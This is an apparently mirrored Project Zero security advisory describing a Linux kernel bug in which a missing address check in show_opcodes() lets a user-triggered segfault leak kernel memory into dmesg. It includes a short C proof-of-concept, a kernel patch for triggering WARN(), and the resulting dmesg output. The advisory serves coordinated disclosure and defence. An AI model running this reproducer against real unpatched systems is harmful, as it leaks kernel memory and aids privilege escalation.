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Linux dmesg Arbitrary Kernel Read

Linux dmesg Arbitrary Kernel Read
Posted Sep 13, 2018
Authored by Jann Horn, Google Security Research

Linux suffers from an arbitrary kernel read into dmesg via a missing address check in the segfault handler.

tags | advisory, arbitrary, kernel
systems | linux
SHA-256 | d3543609cf07f5bc3c6ff63fec8e66a77587ae2ca18d384c4afa15317c5fc42f

Linux dmesg Arbitrary Kernel Read

Change Mirror Download
Linux: arbitrary kernel read into dmesg via missing address check in segfault handler 




There is a missing address check in both show_opcodes() callers.
show_opcodes() is mostly used by the kernel to print the raw
instruction bytes surrounding an instruction that generated an
unexpected exception; however, sometimes it is also used to
print userspace instructions.
Because the userspace address isn't checked against TASK_SIZE_MAX, if userspace
faults on a kernel address, the kernel can dump data from a user-controlled
address into dmesg.

show_opcodes() has two callers:
- since commit ba54d856a9d8 (first in 4.18): show_signal_msg() shows userspace
instructions when userspace e.g. segfaults
- show_ip() is used when the kernel detects some sort of bug; this means that
to trigger it, you need some way to at least trigger a WARN() or so

Repro for the first variant:

=========================
user@debian:~/segfault$ sudo grep core_pattern /proc/kallsyms
ffffffff9ae34180 D core_pattern
ffffffff9be99500 t _GLOBAL__sub_I_65535_1_core_pattern
ffffffff9bff2860 t _GLOBAL__sub_D_65535_0_core_pattern
user@debian:~/segfault$ cat segfault.c
int main(void) {
void (*fn)(void) = (void*)0xffffffff9ae34180;
fn();
}
user@debian:~/segfault$ gcc -o segfault segfault.c
user@debian:~/segfault$ ./segfault
Segmentation fault
user@debian:~/segfault$ sudo dmesg | tail -n2
[19511.957855] segfault[2622]: segfault at ffffffff9ae34180 ip ffffffff9ae34180 sp 00007ffe0adf1568 error 15
[19511.962055] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <63> 6f 72 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=========================

Note the "<63> 6f 72 65 00" - that's "core\0".

Repro for the second variant:

Patch the kernel like this to get an easy way to trigger a WARN() in the right
context:
=========================
diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c
index b9123c497e0a..fab40edd4c9e 100644
--- a/arch/x86/mm/fault.c
+++ b/arch/x86/mm/fault.c
@@ -891,6 +891,7 @@ __bad_area_nosemaphore(struct pt_regs *regs, unsigned long error_code,
tsk->thread.trap_nr = X86_TRAP_PF;

force_sig_info_fault(SIGSEGV, si_code, address, tsk, pkey, 0);
+ WARN(1, "TESTING WARN()");

return;
}
=========================

Then run the same repro code as before (with the core_pattern address fixed up).
Result:
=========================
[ 125.564041] segfault[1602]: segfault at ffffffff854340c0 ip ffffffff854340c0 sp 00007ffd4cc7a568 error 15
[ 125.569923] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <63> 6f 72 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 125.576859] ------------[ cut here ]------------
[ 125.578406] TESTING WARN()
[ 125.578439] WARNING: CPU: 6 PID: 1602 at arch/x86/mm/fault.c:894 __bad_area_nosemaphore+0x147/0x270
[ 125.582172] Modules linked in: bpfilter
[ 125.583394] CPU: 6 PID: 1602 Comm: segfault Tainted: G W 4.18.0+ #108
[ 125.585811] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 125.588410] RIP: 0010:__bad_area_nosemaphore+0x147/0x270
[ 125.590078] Code: 48 89 d9 48 89 ea 44 89 e6 48 c7 83 30 0b 00 00 0e 00 00 00 bf 0b 00 00 00 e8 f5 eb ff ff 48 c7 c7 00 61 66 84 e8 79 11 05 00 <0f> 0b 48 83 c4 28 5b 5d 41 5c 41 5d 41 5e 41 5f c3 48 83 c4 28 4c
[ 125.595779] RSP: 0018:ffff8801cb3b7e18 EFLAGS: 00010286
[ 125.597426] RAX: 0000000000000000 RBX: ffff8801cbb9e000 RCX: 0000000000000000
[ 125.599605] RDX: 0000000000000001 RSI: dffffc0000000000 RDI: ffffffff86678ea0
[ 125.601800] RBP: ffffffff854340c0 R08: ffffed003d873ed5 R09: ffffed003d873ed5
[ 125.603935] R10: 0000000000000001 R11: ffffed003d873ed4 R12: 0000000000000001
[ 125.606113] R13: 0000000000000000 R14: 0000000000000015 R15: ffff8801cb3b7f58
[ 125.608250] FS: 00007fe30d518700(0000) GS:ffff8801ec380000(0000) knlGS:0000000000000000
[ 125.610608] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 125.612331] CR2: ffffffff854340c0 CR3: 00000001d563e001 CR4: 00000000003606e0
[ 125.614470] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 125.616607] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 125.618736] Call Trace:
[ 125.619475] __do_page_fault+0x133/0x780
[ 125.620646] ? mm_fault_error+0x1b0/0x1b0
[ 125.622236] ? async_page_fault+0x8/0x30
[ 125.623388] async_page_fault+0x1e/0x30
[ 125.624526] RIP: 0033:core_pattern+0x0/0x880
[ 125.625786] Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <63> 6f 72 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 125.631208] RSP: 002b:00007ffd4cc7a568 EFLAGS: 00010202
[ 125.632737] RAX: ffffffff854340c0 RBX: 0000000000000000 RCX: 0000000000000000
[ 125.635039] RDX: 00007ffd4cc7a678 RSI: 00007ffd4cc7a668 RDI: 0000000000000001
[ 125.637088] RBP: 00007ffd4cc7a580 R08: 0000562d395106f0 R09: 00007fe30d323cb0
[ 125.639153] R10: 0000000000000000 R11: 00007fe30d0d23c0 R12: 0000562d39510530
[ 125.641183] R13: 00007ffd4cc7a660 R14: 0000000000000000 R15: 0000000000000000
[ 125.643221] ---[ end trace fb20716f9d6369bd ]---

=========================

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

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